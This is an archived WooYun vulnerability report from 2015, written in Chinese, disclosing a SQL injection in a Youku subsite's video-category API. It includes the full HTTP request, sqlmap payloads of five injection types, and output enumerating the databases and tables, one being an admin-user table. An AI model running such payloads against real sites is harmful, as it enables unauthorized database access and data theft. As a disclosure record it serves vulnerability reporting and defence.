优酷某处存在SQL注射漏洞

编号127434
Urlhttp://www.wooyun.org/bug.php?action=view&id=127434
漏洞状态厂商已经确认
漏洞标题优酷某处存在SQL注射漏洞
漏洞类型SQL注射漏洞
厂商优酷
白帽子紫霞仙子
提交日期2015-07-17 19:04:00
公开日期2015-09-01 22:02:00
修复时间(not set)
确认时间2015-07-18 00:00:00
Confirm Spend1
漏洞标签Mysql 注射技巧
关注数0
收藏数0
白帽评级
白帽自评rank16
厂商评级
厂商评rank12
漏洞简介
#No wall#
漏洞细节

换了个地方,问题复现了。指哪修哪的洞
POST /api/index.php?r=video/submitCategoryIdGetVideoList HTTP/1.1
Content-Length: 194
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://allthingshair.youku.com/
Cookie: PHPSESSID=gfs297is27l9gonl01rh0409k4
Host: allthingshair.youku.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.0 Safari/537.36
Accept: */*
byCountNum=0&categoryId=1&nowPage=1&orderByTime=0&pageSize=16

POC

---
Parameter: categoryId (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: byCountNum=0&categoryId=1' AND 7101=7101 AND 'bRsy'='bRsy&nowPage=1&orderByTime=0&pageSize=16
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: byCountNum=0&categoryId=1' AND (SELECT 7971 FROM(SELECT COUNT(*),CONCAT(0x7178766b71,(SELECT (ELT(7971=7971,1))),0x71626b7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'djvU'='djvU&nowPage=1&orderByTime=0&pageSize=16
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: byCountNum=0&categoryId=1';(SELECT * FROM (SELECT(SLEEP(5)))LoRi)#&nowPage=1&orderByTime=0&pageSize=16
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: byCountNum=0&categoryId=1' AND (SELECT * FROM (SELECT(SLEEP(5)))cRyf) AND 'yCWk'='yCWk&nowPage=1&orderByTime=0&pageSize=16
Type: UNION query
Title: Generic UNION query (NULL) - 12 columns
Payload: byCountNum=0&categoryId=1' UNION ALL SELECT NULL,CONCAT(0x7178766b71,0x536c50786877416e474c,0x71626b7671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &nowPage=1&orderByTime=0&pageSize=16
---
web application technology: Apache
back-end DBMS: MySQL 5.0
current user: '[email protected]%'
current user is DBA: False
available databases [3]:
[*] allthingshair
[*] information_schema
[*] test
Database: allthingshair
[15 tables]
+----------------------+
| attribute_list |
| category_list |
| comment_list |
| daily_video_account |
| hot_topic_video |
| keyword_count |
| member_youku |
| product_list |
| subscribe_list |
| tbl_admin_user |
| video_attribute_list |
| video_favour |
| video_main_list |
| video_minor_list |
| vlogger_list |
+----------------------+

修复方案

fix

状态信息 2015-07-17: 细节已通知厂商并且等待厂商处理中
2015-07-18: 厂商已经确认,细节仅向厂商公开
2015-07-28: 细节向核心白帽子及相关领域专家公开
2015-08-07: 细节向普通白帽子公开
2015-08-17: 细节向实习白帽子公开
2015-09-01: 细节向公众公开
厂商回复感谢“紫霞仙子”支持优酷安全~漏洞已经安排修复
回应信息危害等级:高漏洞Rank:12 确认时间:2015-07-18 22:00